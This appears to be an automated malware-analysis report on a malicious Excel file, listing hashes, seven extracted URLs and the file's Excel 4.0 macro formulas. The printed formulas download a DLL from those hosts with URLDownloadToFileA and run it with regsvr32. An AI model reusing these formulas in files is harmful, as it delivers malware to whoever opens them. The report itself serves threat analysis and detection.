General
-
Target
5a81d2ed3941ffb97a4c6b16e543835f9398f191cce71b56e1e71e0bedb432df
-
Size
21KB
-
MD5
2944f31a4cd63bc133e7afc02476bcb9
-
SHA1
f21a5178fe72c2e0b22efc7b6e11e0a248ce2432
-
SHA256
5a81d2ed3941ffb97a4c6b16e543835f9398f191cce71b56e1e71e0bedb432df
-
SHA512
0bb514800b4d60bd03e8a8392b8ef4a4f74b1825915902ebeff3840d4a4ddb2a9bec15eb7820d56d2f096a830b49a8bb43a7fd080d10446b3607e1f21b2f43a9
-
SSDEEP
384:PGQT82uAi/NjxhS8EibbwBlwPsg1SYrLb5CzgObff9kC+xbX7tPhPng:+BusNPzXx5FCBn9kC+xbLtPhI
Malware Config
Extracted
https://bulldogironworksllc.com/temp/r8YAI2o98o4j0UPn/
https://brucemulkey.com/wp-admin/XGXUrF2z0I/
http://www.buddymorel.com/cdar/3Egg7sUHTTd8kSrFj/
http://altunyapiinsaat.com/datyusdtyuastbgdasg-23/vKckKhX11LJ/
http://brendancleary.net/code_playground/e3ZqQ5WzPBq/
https://www.borjalnoor.com/engine1/MHH/
http://bozzline.com/cp/SGOwQkA00x5Ixe14e/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bulldogironworksllc.com/temp/r8YAI2o98o4j0UPn/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brucemulkey.com/wp-admin/XGXUrF2z0I/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.buddymorel.com/cdar/3Egg7sUHTTd8kSrFj/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://altunyapiinsaat.com/datyusdtyuastbgdasg-23/vKckKhX11LJ/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brendancleary.net/code_playground/e3ZqQ5WzPBq/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.borjalnoor.com/engine1/MHH/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bozzline.com/cp/SGOwQkA00x5Ixe14e/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
5a81d2ed3941ffb97a4c6b16e543835f9398f191cce71b56e1e71e0bedb432df